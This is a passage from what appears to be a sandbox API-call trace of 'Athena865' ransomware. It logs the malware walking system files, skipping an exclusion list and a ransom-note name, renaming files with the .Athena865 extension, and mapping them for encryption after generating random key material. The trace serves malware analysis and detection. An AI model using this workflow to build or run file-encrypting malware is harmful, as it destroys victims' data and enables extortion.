lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo") returned="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo" [0100.160] lstrlenW (lpString="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo") returned 56 [0100.160] lstrlenW (lpString="Athena865") returned 9 [0100.160] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.160] lstrlenW (lpString=".dll") returned 4 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.160] lstrlenW (lpString=".lnk") returned 4 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.160] lstrlenW (lpString=".ini") returned 4 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.160] lstrlenW (lpString=".sys") returned 4 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.160] lstrlenW (lpString="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo") returned 56 [0100.160] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo.Athena865") returned 113 [0100.160] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.162] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.162] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432) returned 1 [0100.162] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.163] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.163] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.163] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b0, lpName=0x0) returned 0x154 [0100.165] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b0) returned 0x100000 [0100.165] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.166] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.166] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.167] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x396bad00, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x396bad00, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x39753280, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", cAlternateFileName="{7A521~1")) returned 1 [0100.167] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.167] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.167] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2=".") returned 1 [0100.167] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2="..") returned 1 [0100.167] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2="windows") returned -1 [0100.167] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.167] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2="temp") returned -1 [0100.167] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.167] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2="boot") returned -1 [0100.167] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.167] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.167] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.167] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.167] lstrlenW (lpString="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo") returned 56 [0100.167] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo" | out: lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo") returned="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo" [0100.167] lstrlenW (lpString="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo") returned 56 [0100.167] lstrlenW (lpString="Athena865") returned 9 [0100.167] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.167] lstrlenW (lpString=".dll") returned 4 [0100.168] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.168] lstrlenW (lpString=".lnk") returned 4 [0100.168] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.168] lstrlenW (lpString=".ini") returned 4 [0100.168] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.168] lstrlenW (lpString=".sys") returned 4 [0100.168] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.168] lstrlenW (lpString="{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo") returned 56 [0100.168] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo.Athena865") returned 113 [0100.168] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{7a521dbe-9658-44e5-843c-29dd5c50d136}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{7a521dbe-9658-44e5-843c-29dd5c50d136}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.172] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{7A521DBE-9658-44E5-843C-29DD5C50D136}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{7a521dbe-9658-44e5-843c-29dd5c50d136}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.172] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.172] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.173] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.173] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.173] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.177] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.180] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.181] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.181] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.182] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x410b9480, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x410b9480, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x411e9f80, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", cAlternateFileName="{7A521~2")) returned 1 [0100.182] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.182] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.182] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.182] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.182] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.182] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.182] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.182] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.182] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.182] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.182] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.182] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.183] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.183] lstrlenW (lpString="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo") returned 56 [0100.183] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo" | out: lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo") returned="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo" [0100.183] lstrlenW (lpString="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo") returned 56 [0100.183] lstrlenW (lpString="Athena865") returned 9 [0100.183] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.183] lstrlenW (lpString=".dll") returned 4 [0100.183] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.183] lstrlenW (lpString=".lnk") returned 4 [0100.183] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.183] lstrlenW (lpString=".ini") returned 4 [0100.183] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.183] lstrlenW (lpString=".sys") returned 4 [0100.183] lstrcmpiW (lpString1="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.183] lstrlenW (lpString="{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo") returned 56 [0100.183] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo.Athena865") returned 113 [0100.183] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{7a521dbe-9658-44e5-843c-29dd5c50d136}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{7a521dbe-9658-44e5-843c-29dd5c50d136}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.184] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{7A521DBE-9658-44E5-843C-29DD5C50D136}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{7a521dbe-9658-44e5-843c-29dd5c50d136}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.184] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432) returned 1 [0100.184] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.185] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.185] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.185] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b0, lpName=0x0) returned 0x154 [0100.187] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b0) returned 0x100000 [0100.188] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.189] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.189] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.189] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd2f8a420, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xd2f8a420, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xd30baf20, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", cAlternateFileName="{8000F~1")) returned 1 [0100.189] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.189] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.189] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2=".") returned 1 [0100.189] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2="..") returned 1 [0100.189] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2="windows") returned -1 [0100.189] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.189] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2="temp") returned -1 [0100.189] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.189] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2="boot") returned -1 [0100.189] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.189] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.189] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.189] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.189] lstrlenW (lpString="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo") returned 56 [0100.190] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo" | out: lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo") returned="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo" [0100.190] lstrlenW (lpString="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo") returned 56 [0100.190] lstrlenW (lpString="Athena865") returned 9 [0100.190] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.190] lstrlenW (lpString=".dll") returned 4 [0100.190] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.190] lstrlenW (lpString=".lnk") returned 4 [0100.190] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.190] lstrlenW (lpString=".ini") returned 4 [0100.190] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.190] lstrlenW (lpString=".sys") returned 4 [0100.190] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.190] lstrlenW (lpString="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo") returned 56 [0100.190] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo.Athena865") returned 113 [0100.190] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{8000ffcd-1da9-461e-a8a6-b9c248869570}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{8000ffcd-1da9-461e-a8a6-b9c248869570}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.191] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{8000FFCD-1DA9-461E-A8A6-B9C248869570}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{8000ffcd-1da9-461e-a8a6-b9c248869570}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.191] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.191] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.192] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.192] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.192] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.194] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.196] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.197] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.197] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.198] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe0129580, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xe0129580, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xe02f2600, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", cAlternateFileName="{8000F~2")) returned 1 [0100.198] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.198] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.198] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.198] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.198] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.198] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.198] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.198] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.199] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.199] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.199] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.199] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.199] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.199] lstrlenW (lpString="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo") returned 56 [0100.199] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo" | out: lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo") returned="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo" [0100.199] lstrlenW (lpString="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo") returned 56 [0100.199] lstrlenW (lpString="Athena865") returned 9 [0100.199] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.199] lstrlenW (lpString=".dll") returned 4 [0100.199] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.199] lstrlenW (lpString=".lnk") returned 4 [0100.199] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.199] lstrlenW (lpString=".ini") returned 4 [0100.199] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.199] lstrlenW (lpString=".sys") returned 4 [0100.199] lstrcmpiW (lpString1="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.199] lstrlenW (lpString="{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo") returned 56 [0100.199] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume 